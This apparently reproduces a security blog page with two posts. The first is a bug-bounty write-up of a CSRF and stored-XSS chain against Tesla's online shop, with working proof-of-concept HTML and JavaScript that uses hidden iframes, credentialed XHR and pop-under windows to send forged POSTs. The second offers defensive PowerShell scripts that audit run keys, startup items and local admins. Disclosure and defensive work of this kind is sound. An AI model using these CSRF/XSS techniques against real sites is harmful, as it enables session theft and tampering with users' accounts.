Friday 31 January 2014

Tesla Shop CSRF/XSS And Multiple POST Requests

Back in November Tesla announced they were starting a bug bounty program. I took a quick look and came across a few CSRF and XSS issues in their shop site. Although the vulnerabilities themselves were nothing special, to instantly trigger the XSS required multiple POSTs.

In this post I'll look at some of the potential exploit techniques in Chrome v32.

TL;DR XSS using iframes, window.open, pop-unders and boobs!


The Tesla store and it's vulns

The Tesla shop (http://shop.teslamotors.com/) was missing CSRF tokens/headers, X-Frame-Options and also the VIN parameter (vehicle identification number?) was susceptible to stored XSS.

The cart and VIN number

If you entered an XSS payload in the VIN field and then proceeded to the checkout the VIN would be stored on the cart page. The next time the user visited the cart page the XSS would be triggered. To exploit all we'd need to do is build a malicious page with a form containing our XSS payload that is auto-submitted when the user loads our page. Easy right?

<form name="csrf_form" action="http://shop.teslamotors.com/cart" method="POST">
<input name="updates[]" type="hidden" value="1">
<input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'>
<input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form>
<script>document.csrf_form.submit();</script>


Although this would work the payload wouldn't trigger until the user actually visited the cart page and also if the user didn't have any items in their cart the VIN wouldn't load successfully.


Instant XSS Pwnage with iframes

To instantly and reliably trigger the XSS I would need to get the user to:
  1. Add an item to their cart 
  2. Add an XSS payload as a VIN number
  3. Make them visit their cart to trigger the XSS 
There are a number of ways to send POST requests. The easiest option was to use three iframes and some timers to send the requests one by one. Each submission will occur in a separate iframe, leaving the malicious page in-tact and using width/height zero iframes the user won't see anything happening. Example code:

<iframe id=iframe1 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe2 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe3 width=0 height=0 frameborder=0></iframe>
<script>
setTimeout(function(){document.getElementById('iframe1').contentWindow.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');},100);

setTimeout(function(){document.getElementById('iframe2').contentWindow.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');},3000);

setTimeout(function(){document.getElementById('iframe3').src='http://shop.teslamotors.com/cart'},6000);
</script>


Or we can crack out the XHR which allows us to send requests directly from our javascript and then get the XSS to trigger in an iframe (a GET using XHR wouldn't work as the site was missing Access-Control headers) something like this:

<script>
function xhrcsrf(){
//Add item to cart
var http = new XMLHttpRequest();
http.open("POST", "http://shop.teslamotors.com/cart/add" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.send("id=47210232");
//Add XSS payload as VIN
setTimeout(function(){
http.open("POST", "http://shop.teslamotors.com/cart" , true);
http.send("updates[]=1&attributes[your-VIN]=\"><iframe/onload=alert(document.cookie)>&note=&checkout=Checkout");
},1000)
//Visit cart part to trigger XSS
setTimeout(function(){document.write('<iframe src="http://shop.teslamotors.com/cart" width=0 height=0 frameborder=0/></iframe>')},3000);
}
xhrcsrf();
</script>

And running either POC you get the much loved alert window+cookie:


In terms of impact the CSRF/XSS seemed to be low risk as you just gain access to the cart, the more juicy payment and user session data is unfortunately held on the shopify site with the checkout. But what about other exploitation techniques? How about if the user had somehow disabled iframes? :o
 

BONUS - Non-iframe POC!

While building the first POC I got to thinking about non-iframe and non-XHR possibilities. Without iframes there are a number of problems to overcome:
  • On a single page you can't submit multiple forms simultaneously.
  • Submitting a form will take the user to the new page, away from our malicious page.
  • It's not possible to auto create new windows with javascript, without user interaction e.g. onclick
  • Even with user interaction you can't create multiple new windows as the pop-up blocker will block additional windows.
  • Chrome will focus any new window making user interaction on the malicious page difficult to maintain.
  • Pop-unders are often prevented by Chrome.
So what's the answer?


Multiple POSTs Multiple Windows

My first idea was to open new windows, document.write my code and my POST requests would be sent leaving my malicious page intact. Unfortunately window.open requires user interaction (onclick, onkeypress etc.) to evade the pop-up blocker.

<script>window.open();</script>


To get my three new windows (add item to cart, add VIN no, visit cart page) I'd need the user to click/type three times to evade the pop-up blocker. Once created I could write my code, the POSTs would be sent and I could close them. Something like this:

<script>
i=0;
function openWin(){
 if(i==0){
  var win1 = window.open("","win1","left=5000,top=5000,width=10,height=10");
  win1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
  setTimeout(function(){win1.close()},2000);
  i++;
 }else if(i==1){
  var win2 = window.open("","win1","left=5000,top=5000,width=10,height=10");
  win2.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');
  setTimeout(function(){win2.close();},2000);
  i++;
 }else if(i==2){
  var win3 = window.open("http://shop.teslamotors.com/cart","win3","left=5000,top=5000,width=10,height=10");
  setTimeout(function(){win3.close();},2000);
 }
 document.getElementById("but").innerHTML= "Press me " + (3-i) + " times!";
}
</script>
<button id="but" onclick="openWin()">Press me 3 times!</button>


The POC worked ok but you'd see windows appear and disappear in the bottom right:


Wouldn't it be better if the windows didn't show up at all?


Pop-under?

One option is a pop-under which will open as a new tab but keep focus on the malicious page. Using the code from here it's possible to simulate a click event on a link and achieve a pop-under:

<button onclick="popunder()">Click me!</button>
<a href="/evil.html" target="blank" id="linky"></a>
<script>
function popunder(){
var a=document.getElementById("linky");
var e=document.createEvent('MouseEvents');
e.initMouseEvent('click',true,true,window,0,0,0,0,0,true,false,false,true,0,null);
a.dispatchEvent(e)
}
</script>

The catch with this technique is that I couldn't find a way to interact with the new window. I could easily host my malicious code in another page and load that no problem. But then there was no way to close the window once the POST was sent so the user would be left with three new open tabs. Not sure if this is a security feature or I'm missing the obvious! Suggestions are welcome :)


How to stay focused?

Going back to the first technique of creating new windows the underlying problem was focus.


I needed to somehow keep the user on the page while simultaneously opening and closing windows in the background. One possibility I discovered was using alert() to effectively create a pop-under, something like the following:

<button onclick=newwin();>Click!</button>
<script>
function newwin(){
var myWindow1 = window.open("","myWindow1","width=10,height=10");
myWindow1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
alert("lol you got a pop-under!");
setTimeout(function(){myWindow1.close()},3000);
}
</script>

User clicks somewhere in the malicious page, a pop-up is created, alert triggers and keeps focus on malicious window, the pop-up effectively becomes a pop-under, request is sent in pop-under, malicious page closes pop-under.



In the screenshot you can see the pop-under on the left, of course this could be a lot smaller and positioned behind the existing window (the smaller arrow points to Bugcrowd :D).


Final Thoughts

This post was a bit of a random journey through browser restrictions and javascript, I hope I didn't lose you guys along the way :) It was interesting to see that even in 2014 a lot of tricks can still be performed with iframes, XHR, new windows, pop-unders and alert boxes. Each has it's pros and cons. XSS/CSRF is nothing new, pretty much everything I showed above could have easily been prevented if the server used output encoding+CSRF tokens+X-Frame-Options.

Although I didn't mention it earlier same origin policy was a pain in the ass and techniques like blur() and focus() wouldn't work for me. Something to bear in mind if you want to do some testing of your own.

Hope you've enjoyed reading, comments and suggestions for improvements are appreciated :)


Pwndizzle out

Monday 27 January 2014

Powershell: Retrieve Run Keys, Startup items, Local Admins

In this post I'll talk about retrieving run keys, start menu items and local admins with Powershell.

Note: Scripts below have been created/tested for Win7. Modifications will be needed for XP!


Listing Run Keys

There are many many registry locations that can be used to auto-run software on system start-up. I decided to start with two of the most common:

- \HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- \HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

In this script I enumerate the run keys for the local machine and each user. I've used a notmatch filter to remove the noise from known good registry keys. Also at the start of the script you'll notice the threading function that I mentioned in my last Powershell blog post. It is possible to use StartupCommand to grab run keys but this doesn't actually cover all possible auto-run locations and I wanted to provide a more generic registry key enumeration example that you guys can adapt.

To use, just create a text file with a list of machine names and point the $Computers variable at it. Start with a small number of machines and gradually add known good keys to the exclusions list, if the path contains a curved bracket or forward slash you need to escape it with a \.

#Threading function
function ForEach-Parallel {
    param(
        [Parameter(Mandatory=$true,position=0)]
        [System.Management.Automation.ScriptBlock] $ScriptBlock,
        [Parameter(Mandatory=$true,ValueFromPipeline=$true)]
        [PSObject]$InputObject,
        [Parameter(Mandatory=$false)]
        [int]$MaxThreads=5
    )
    BEGIN {
        $iss = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
        $pool = [Runspacefactory]::CreateRunspacePool(1, $maxthreads, $iss, $host)
        $pool.open()
        $threads = @()
        $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param(`$_)`r`n" + $Scriptblock.ToString())
    }
    PROCESS {
        $powershell = [powershell]::Create().addscript($scriptblock).addargument($InputObject)
        $powershell.runspacepool=$pool
        $threads+= @{
            instance = $powershell
            handle = $powershell.begininvoke()
        }
    }

    END {
        $notdone = $true
        while ($notdone) {
            $notdone = $false
            for ($i=0; $i -lt $threads.count; $i++) {
                $thread = $threads[$i]
                if ($thread) {
                    if ($thread.handle.iscompleted) {
                        $thread.instance.endinvoke($thread.handle)
                        $thread.instance.dispose()
                        $threads[$i] = $null
                    }
                    else {

                        $notdone = $true
                    }
                }
            }
        }
    }
}
#End of threading function!

$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\machines.txt
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   #List run keys for all users on machine
   $Srv=$_
   $key = ""
   $type = [Microsoft.Win32.RegistryHive]::Users
   $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
   $regKey = $regKey.OpenSubKey($key)
   Foreach($sub in $regKey.GetSubKeyNames()|where {$_ -notmatch "Classes"}|where {$_.length -gt 9}){
    $key = $sub + "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
    $regKey = $regKey.OpenSubKey($key)
    Foreach($val in $regKey.GetValueNames()){
       $Srv + " - Users - Name: " + $val + " Data: " + $regKey.GetValue("$val")|where {$_ -notmatch "C:\\Program Files \(x86\)\\Microsoft Office\\Office14\\MSOSYNC.EXE|C:\\Windows\\system32\\StikyNot.exe|C:\\Program Files\\Windows Sidebar\\sidebar.exe|C:\\Program Files \(x86\)\\Skype\\Phone\\Skype.exe|C:\\Program Files \(x86\)\\Google\\Chrome\\Application\\chrome.exe|C:\\PROGRA~2\\Yahoo!\\Messenger\\YahooMessenger.exe|\\AppData\\Local\\Google\\Update\\GoogleUpdate.exe|\\AppData\\Roaming\\Google\\Google Talk\\googletalk.exe"}
    }
   }
   #List run keys for local machine
   $key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
   $type = [Microsoft.Win32.RegistryHive]::LocalMachine
   $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv)
   $regKey = $regKey.OpenSubKey($key)
   Foreach($val in $regKey.GetValueNames()){
      $Srv + " - LocalMachine - Name: " + $val + " Data: " + $regKey.GetValue("$val")|where {$_ -notmatch "C:\\Windows\\system32\\hkcmd.exe|C:\\Windows\\system32\\igfxtray.exe|C:\\Windows\\system32\\igfxpers.exe|C:\\Program Files\\Realtek\\Audio\\HDA\\RAVCpl64.exe|C:\\Program Files\\Synaptics\\SynTP\\SynTPEnh.exe|C:\\Program Files \(x86\)\\HP\\Digital Imaging\\Fax\\Fax Driver 0.6 Base\\hppfaxprintersrv.exe"}
   }
  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
  "Caught an exception!"
 }
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"



Startup Folder Items

The startup folder is an oldy but still a goody for malware. I found relatively few entries in this location so it's probably dead easy for most people to spot anything suspicious here.

The script will first retrieve the names of user folders present in C:\Users then retrieve the startup values for each profile. I've omitted the threading function in the script below you will need to copy and paste it from above for the script to work!!! Also you will need to point $Computers to your text file containing hostnames.

#Insert threading function here!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\machines.txt
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   #Retrieve usernames from machine
   $Srv = $_
   $Users = Get-ChildItem \\$Srv\C$\Users -force | Where-Object {$_.mode -match "d"} | foreach { $_.Name } | where {$_ -notmatch "Search|Public"}
   #For each user retrieve Startup items
   ForEach ($User in $Users){
   Get-ChildItem -Force "\\$Srv\C$\Users\$User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -name | where {$_ -notmatch "desktop.ini|Dropbox.lnk"} | foreach {"$Srv - $User - " + $_}
   }
  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
  "Caught an exception!"
 }

}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"



Local Admins

Whether you're using XP or Windows7 giving your users local admin privileges is not a good idea as most of the time they don't need the access to do their jobs. But whether you lock things down or not, it can be useful to know what admin accounts currently exist on your systems.

In the script I used invoke-command inside the threading code, I found this sped things up and made error handling easier. Invoke-command simply ran "net localgroup administrators" and then I filter the results. To run the code below you will need to add the threading function from the first example to the start and also update $Computers.

#Insert threading function here!
$ErrorActionPreference = "Stop";
$start = Get-Date
$Computers = Get-Content c:\temp\test.txt
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   $Srv = $_
   Invoke-Command -ComputerName $Srv -ScriptBlock { net localgroup Administrators } | where {$_ -ne ""} | where {$_ -notmatch "Alias Name|Administrators have complete|Members|--------|knownaccount1|The command completed"} | foreach {"$Srv - " + $_}

  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
  "Caught an exception!"
 }
}
$end = Get-Date
"Time taken: " + (New-Timespan $start $end).seconds + " seconds"

For something a bit more formal check the post here. Also I did play around with WMI but it kept hanging on some machines and WMI in Powershell has no timeout parameter by default. In case you're curious try:

gwmi win32_groupuser -computer $_ | ? groupcomponent -match 'administrators' |% {$_.partcomponent} | where {$_ -match "UserAccount"} | where {$_ -notmatch "known1|known2"}



Final Thoughts

Whether for incident response, active defense or monitoring Powershell can be one of the most useful tools in your security toolbox. As is usually the case I tried Googling for these scripts, couldn't find something I liked, so wrote my own. The scripts could definitely be improved or even combined. For more scripts check out the Microsoft repository here.

I also wanted to plug PoshSec again (https://github.com/PoshSec/PoshSecFramework) as it just looked so good, although I've yet to play with it myself. And again thanks to Tome for his threading code.

Hope you guys have found this post useful. Comments/questions always appreciated.